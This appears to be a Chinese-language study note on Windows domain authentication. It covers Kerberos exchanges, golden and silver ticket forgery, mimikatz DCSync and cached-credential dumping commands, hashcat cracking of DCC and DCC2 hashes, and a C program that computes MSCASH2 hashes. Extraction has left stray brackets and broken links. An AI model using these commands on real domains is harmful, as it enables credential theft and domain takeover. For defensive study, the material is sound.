概述:Windows 域认证
相关文章推荐:
- [域渗透——利用DCSync] 导出域内所有用户 hash 的方法](https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCSync%E5%AF%BC%E5%87%BA%E5%9F%9F%E5%86%85%E6%89%80%E6%9C%89%E7%94%A8%E6%88%B7hash%E7%9A%84%E6%96%B9%E6%B3%95) - 阅力值 ⭐⭐⭐
- Silver & Golden Tickets - hackndo - 阅力值 ⭐⭐⭐
**在阅读之前你可能还需要补充的知识:
- Credential Dumping: Domain Cache Credential - Hacking Articles - 阅力值 ⭐⭐⭐⭐⭐
- Cached logons and CachedLogonsCount | Microsoft Learn - 阅力值 ⭐⭐⭐
- 内网渗透 | 域渗透之Dcsync的利用实战-腾讯云开发者社区-腾讯云 - 阅力值 ⭐⭐
- What is DCSync and How to Protect Against It | ExtraHop - 阅力值 ⭐⭐⭐
- Pass the ticket | The Hacker Recipes - 阅力值 ⭐⭐
- Kerberos相关
- Kerberos in Active Directory - hackndo - 阅力值 ⭐⭐⭐
- Kerberos认证原理详解 - 阅力值 ⭐⭐⭐ 在线工具:
- NTLM密码加密-在线工具箱 Crack:
- Windows Credential Harvesting Quick Guide - 阅力值 ⭐⭐⭐
域认证
)
kerberos 域认证采用 Kerberos 协议的认证机制,有一个可信的第三方机构 KDC 的参与。
Kerberos
kerbose是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用提供强大的认证服务。- 该认证过程的视线不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、修改和插入数据。
- 在以上情况下,
Kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
参与认证的三个角色:
- Client
- Server
- KDC (Key Distribution Center) = DC (Domain Controller) = AD (Account Database) + AS (Authenication Service) + (TGS Ticket Granting Service) 从物理层面看,AD 与 AS,TGS,KDC 均为与控制器(Domain Controller)。
Kerberos 认证协议的基本概念
- 票据(Ticket): 是网络对象互相访问的凭证
- TGT (Ticket Granting Ticket): 用来生成 Ticket 的 Ticket
- AD (Account Database):
存储域中所有用户的用户名和对应的
NTLM Hash,可以理解为域中的SAM数据库,KDC可以从 AD 中提取域中所有用户的NTLM Hash,这是Kerberos协议能够成功实现的基础。 - KDC (Key Distribution Center):
密钥分发中心,负责管理票据、认证票据、分发票据,里面包含两个服务:
AS和TGS - AS (Authentication Server):
身份认证服务,为
Client生成TGT的服务,也用来完成对Client的身份验证 - TGS (Ticket Granting Server):
票据授予服务,为
Client生成允许对某个服务访问的Ticket,就是 Client 从 AS 那里拿到 TGT 之后,来 TGS 这里再申请对某个特定服务或服务器访问的 Ticket,只有获取到这个 Ticket,Client 才有权限去访问对应的服务,该服务提供的票据也称为 TGS 或者叫 白银票据 。 - TGT (Ticket Granting Ticket):
由身份认证服务授予的票据( 黄金票据 ),用于身份认证,存储在内存,默认有效期为 10 小时。
注意:
Client密钥、TGS密钥和Service密钥均为对应用户的NTLM HashTGS密钥 `KDC Hash`krbtgt用户的NTLM HashServer和Service可以当做一个东西,就是Client想要访问的服务器或者服务Client/(TGT/Server) SessionKey可以看做客户端与TGS服务和尝试登录的Server之间会话用来加密的密钥,而(Client/TGT/Service)密钥(上面提到的三个实际为 NTLM Hash 的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密
参与认证的三个角色的
NTLM Hash是三个密钥,这三个 NTLM Hash 的唯一作用是确保会话密钥SessionKey的安全传输
黄金票据 (Golden Ticket)
如下所示为黄金票据和白银票据的生成过程
)
黄金门票是伪造的 TGT。这意味着我们绕过下图 kerberos认证 的步骤 1-2,在那里我们向 DC 证明我们是谁 可以说有了金票就有了域内的最高权限
每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来生成的,那么,我们如果拿到了 krbtgt 的密码 Hash,其实就可以伪造任意用户的 TICKET,
对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出 krbtgt 的 Hash 值,,再通过 mimikatz 即可生成任意用户任何权限的 Ticket,也就是 Golden Ticket。
白银票据 (Siliver Ticket)
Silver Tickets(下面称银票)就是伪造的 ST(Service Ticket),因为在 TGT 已经在 PAC 里限定了给 Client 授权的服务(通过 SID 的值) 就是说计算机已经固定了,所以银票只能访问指定服务。
银票是伪造的 TGS 门票。所以现在,我们跳过了与 DC 上的 K DC 进行的所有通信(下图 kerberos认证中的步骤 1-4),只与我们希望直接访问的服务进行接口
)
kerberos 认证流程
)
1. Authentication Service Exchange
。具体过程如下:
Client 向 KDC 的 Authentication Service 发送 Authentication Service Request(KRB_AS_REQ), 为了确保 KRB_AS_REQ 仅限于自己和 KDC 知道,Client 使用自己的 Master Key 对 KRB_AS_REQ 的主体部分进行加密(KDC 可以通过 Domain 的 Account Database 获得该 Client 的 Master Key)。KRB_AS_REQ 的大体包含以下的内容:
Pre-authentication data:包含用以证明自己身份的信息。说白了,就是证明自己知道自己声称的那个 account 的 Password。一般地,它的内容是一个被 Client 的 Master key 加密过的 Timestamp。Client name & realm: 简单地说就是 Domain name\ClientServer Name:注意这里的 Server Name 并不是 Client 真正要访问的 Server 的名称,而我们也说了 TGT 是和 Server 无关的(Client 只能使用 Ticket,而不是 TGT 去访问 Server)。这里的 Server Name 实际上是KDC 的 Ticket Granting Service 的 Server Name。
)
)
2. Ticket Granting Service Exchange
TGS(Ticket Granting ServiceExchange] 通过 Client 向 KDC 中的 TGS(Ticket Granting Service)发送 Ticket Granting Service Request(KRB_TGS_REQ)开始。KRB_TGS_REQ 大体包含以下的内容:
TGT:Client 通过 AS Exchange 获得的 Ticket Granting Ticket,TGT 被 KDC 的 Master Key 进行加密。Authenticator:用以证明当初 TGT 的拥有者是否就是自己,所以它必须以 TGT 的颁发方(KDC)给自己(Client)的 Session Key(SKDC-Client:Logon Session Key)来进行加密。Client name & realm: 简单地说就是 Domain name\Client。Server name & realm: 简单地说就是 Domain name\Server,这回是 Client 试图访问的那个 Server。
)
TGS 收到 KRB_TGS_REQ 在发给 Client 真正的 Ticket 之前,先得验证 Client 提供的那个 TGT 是否是 AS 颁发给它的。于是它需要验证 Client 提供的 Authenticator,但是 Authentication 是通过 Logon Session Key(SKDC-Client)进行加密的,而自己并没有保存这个 Session Key。所以 TGS 先得通过自己的 Master Key 对 Client 提供的 TGT 进行解密,从而获得这个 Logon Session Key(SKDC-Client),再通过这个 Logon Session Key(SKDC-Client)解密 Authenticator 进行验证。验证通过向对方发送 Ticket Granting Service Response(KRB_TGS_REP)。这个 KRB_TGS_REP 有两部分组成:使用 Logon Session Key(SKDC-Client)加密过用于 Client 和 Server 的 Session Key(SServer-Client)和使用 Server 的 Master Key 进行加密的 Ticket。该 Ticket 大体包含以下一些内容:
- Session Key:SServer-Client。
- Client name & realm: 简单地说就是 Domain name\Client。
- PAC
- End time: Ticket 的到期时间。
Client 收到 KRB_TGS_REP,使用 Logon Session Key(SKDC-Client)解密第一部分后获得 Session Key(SServer-Client)。有了 Session Key 和 Ticket,Client 就可以之间和 Server 进行交互,而无须在通过 KDC 作中间人了。
3. Client/Server Exchange
Client 通过 TGS Exchange 获得 Client 和 Server 的 Session Key(SServer-Client),随后创建用于证明自己就是 Ticket 的真正所有者的 Authenticator,并使用 Session Key(SServer-Client)进行加密。最后将这个被加密过的 Authenticator 和 Ticket 作为 APPLication Service Request(KRB_AP_REQ)发送给 Server。除了上述两项内容之外,KRB_AP_REQ 还包含一个 Flag 用于表示 Client 是否需要进行双向验证(Mutual Authentication)。
Server 接收到 KRB_AP_REQ 之后,通过自己的 Master Key 解密 Ticket,从而获得 Session Key(SServer-Client)。通过 Session Key(SServer-Client)解密 Authenticator,进而验证对方的身份,验证成功,让 Client 访问需要访问的资源,否则直接拒绝对方的请求。
获取域用户 hash
使用 mimikatz
可参mimikatz > 获取域用户]] 一节。
更详细的命令帮助手册可查看 [dcsync | The Hacker [【RPC】Tools|Tools
域用户 Hash
在 Windows 系统中,比较常见是从系统导出来的 NTLM hash,可以通过 Hashcat 能够破解出明文密码。
Hashcat 支持超过 200 种高度优化的 hash 算法,其中和 NTLM hash 相关的有 4 个,分别为 NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2 和 NTLM。关于 hashcat 的使用可以参考hashcat 用法]
域用户 Hash 获取
方案一 mimikatz
使用 mimikatz 是可以获取到与用户的相关信息的,命令手册 dcsync | The Hacker Tools。
但是 mimikatz 是基于 DCSync 的,而 DCSync 又是很容易被 IDS/IPS 作为攻击标志的点,这就导致 mimikatz 的这个方案还是在使用场景上有缺陷。
mimikatz.exe "lsadump::dcsync /domain:ms.test.com /all /csv"方案二 quarkspwdump
QuarkspwDump 说明: peterdocter/quarkspwdump: Quarks PwDump is a native Win32 tool to extract credentials from Windows operating systems.
使用 quarkspwdump 获取域用户 hash。这个主要是从内存中提取用户的 Hash。与实际的有出入。
域用户 Hash Crash
域用户 Hash 和本地用户 hash 一致,都是使用 MD4 加密。
域缓存 hash
定义可以看域Hash缓存]
使用 mimikatz 提取
查询命令
privilege::debug
token::elevate
lsadump::cachequarkspwdump
查询命令
quarkspwdump -dhdc域缓存 hash Crash
相关参考文章
- DCC2 Hash — Beyond the readable - 阅力值 ⭐⭐⭐
域缓存 hash 使用的加密方式略有不同:
- Windows vista 以前使用的是 DCC,也就是 Domain Cached Credentials (DCC), MS Cache
- Windows vista 之后都是用的 DCC2,也就是 Domain Cached Credentials 2 (DCC2), MS Cache 2
DCC Crash
工具
借助 hashcat 来探测
format
使用 hashcat 破解,破解 DCC 的形式如下所示:
| 1100 | Domain Cached Credentials (DCC), MS Cache | 4dd8965d1d476fa0d026722989a6b772:3060147285011 |
|---|
使用示例
{MsCache}:{uername}
hashcat -m 1100 -w 4 -a 3 4dd8965d1d476fa0d026722989a6b772:3060147285011DCC2 Crash
工具
主要借助 hashcat 来探测
format
使用 hashcat 破解 DCC2 的形式如下所示:
| 2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2 | 10240#tom#e4e938d12fe5974dc42a90120bd9c90f |
|---|
使用示例
$DCC2$10240#{username}#{MsCacheV2}
hashcat -m 2100 -w 4 -a 3 $DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f相关代码
实测可用
/*
* dcc2_tst.c A 'very' simple OpenSSL primative only test app, showing the
* MSCASH2 format.
* Written June 24, 2011, Jim Fougeron. Placed in public domain
* This is a very slow, but easier to understand mscash2 hash computation program
* It has been written 100% with oSSL primative functions (SHA1 and MD4). It does
* not use any hmac primatives. This pbkdf2 'has' been reduced some, since we
* know a 'little' info. 1. the key will always be smaller than SHA_DIGEST_LENGTH
* thus we can remove an initial sha reduction. 2. we only use lower 128 bites, so
* only xor the first 4 words, not first 5
*
* If the program is run with no params, then user=admin and pass=password is used
* arguments -p=PASSWORD and -u=USER can be used to change the pass / user
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef _MSC_VER
#include <unistd.h>
#endif
#include "openssl/sha.h"
#include "openssl/md4.h"
#pragma comment(lib, "libssl.lib")
#pragma comment(lib, "libcrypto.lib")
/*
* This function is derived from IEEE Std 802.11-2004, Clause H.4.
* The main construction is from PKCS#5 v2.0. It is tweaked a little
* to remove some code not needed for our SHA1-128 output.
*/
void pbkdf2(unsigned char key[], size_t key_len,
unsigned char salt[], size_t salt_len,
unsigned int rounds,
unsigned char digest[])
{
SHA_CTX ctx1, ctx2, tmp_ctx1, tmp_ctx2;
unsigned char ipad[SHA_CBLOCK + 1], opad[SHA_CBLOCK + 1], tmp_hash[SHA_DIGEST_LENGTH];
unsigned i, j;
memset(ipad, 0x36, sizeof(ipad));
memset(opad, 0x5C, sizeof(opad));
for (i = 0; i < key_len; i++) {
ipad[i] ^= key[i];
opad[i] ^= key[i];
}
SHA1_Init(&ctx1);
SHA1_Init(&ctx2);
SHA1_Update(&ctx1, ipad, SHA_CBLOCK);
SHA1_Update(&ctx2, opad, SHA_CBLOCK);
memcpy(&tmp_ctx1, &ctx1, sizeof(SHA_CTX));
memcpy(&tmp_ctx2, &ctx2, sizeof(SHA_CTX));
SHA1_Update(&ctx1, salt, salt_len);
SHA1_Final(tmp_hash, &ctx1);
SHA1_Update(&ctx2, tmp_hash, SHA_DIGEST_LENGTH);
SHA1_Final(tmp_hash, &ctx2);
memcpy(digest, tmp_hash, SHA_DIGEST_LENGTH);
for (i = 1; i < rounds; i++)
{
memcpy(&ctx1, &tmp_ctx1, sizeof(SHA_CTX));
memcpy(&ctx2, &tmp_ctx2, sizeof(SHA_CTX));
SHA1_Update(&ctx1, tmp_hash, SHA_DIGEST_LENGTH);
SHA1_Final(tmp_hash, &ctx1);
SHA1_Update(&ctx2, tmp_hash, SHA_DIGEST_LENGTH);
SHA1_Final(tmp_hash, &ctx2);
for (j = 0; j < 4; j++)
((unsigned int*)digest)[j] ^= ((unsigned int*)tmp_hash)[j];
}
}
// simple 'to-unicode', adds null bytes. !WARNING! no overflow logic.
unsigned to_unicode(char* u16, char* a8) {
unsigned cnt = strlen(a8);
while (*a8) {
*u16++ = *a8++; *u16++ = 0;
}
return cnt << 1;
}
char hexdigit(int i) { // one hex digit
if (i < 10) return i + '0';
return (i - 10) + 'a';
}
char* to_hex(unsigned char* digest) { // convert 16 byte digest to 32 byte hex
static char buf[33];
char* cp = buf;
int i;
for (i = 0; i < 16; ++i) {
*cp++ = hexdigit(*digest >> 4); *cp++ = hexdigit(*digest++ & 0xF);
}
*cp = 0;
return buf;
}
/*
* usage: dcc2_tst [-p=pass] [-u=username]
*/
int dcc2_tst(int argc, char** argv)
{
char* username = (char*)"shimingming", * password = (char*)"Admin@123";
unsigned char username_lc[22], salt[44], pass_unicode[128 + 2], md4hash[16], digest[20];
unsigned salt_len, pass_len;
MD4_CTX ctx;
int i;
// see if -p= or -u= was used. If so, then use them.
for (i = 1; i < argc; ++i) {
if (!strncmp(argv[i], "-p=", 3)) password = &argv[i][3];
if (!strncmp(argv[i], "-u=", 3)) username = &argv[i][3];
}
// low case user name (the salt), and convert to unicode.
strncpy((char*)username_lc, username, 21);
username_lc[21] = 0;
if (strlen(username) != strlen((char*)username_lc)) return !!printf("Error, the user name is longer than 21 bytes. Aborting\n");
salt_len = to_unicode((char*)salt, strlwr((char*)username_lc));
// pasword to unicode
pass_len = to_unicode((char*)pass_unicode, password);
// now get NTLM of the password (MD4 of unicode)
MD4_Init(&ctx);
MD4_Update(&ctx, pass_unicode, pass_len);
MD4_Final(md4hash, &ctx);
// Now we have NTLM md4Hash==NTLM of the password
// Get DCC1. That is MD4( NTLM . unicode(lc username) )
MD4_Init(&ctx);
MD4_Update(&ctx, md4hash, 16);
MD4_Update(&ctx, salt, salt_len);
MD4_Final(md4hash, &ctx);
// now we have DCC1 (mscash) which is MD4 (MD4(unicode(pass)) . unicode(lc username))
// we need to change the salt a little, before calling pbkdf2 (add a big endian 32 bit 1)
memset(&salt[salt_len], 0, 4);
salt[salt_len + 3] = 1;
salt_len += 4;
// Now compute DCC2
pbkdf2(md4hash, 16, salt, salt_len, 10240, digest);
// Ok, now output the hash:
printf("%s:", username);
printf("%$%s#%s:0:1:%s\n", username_lc, to_hex(digest), password);
return 0;
}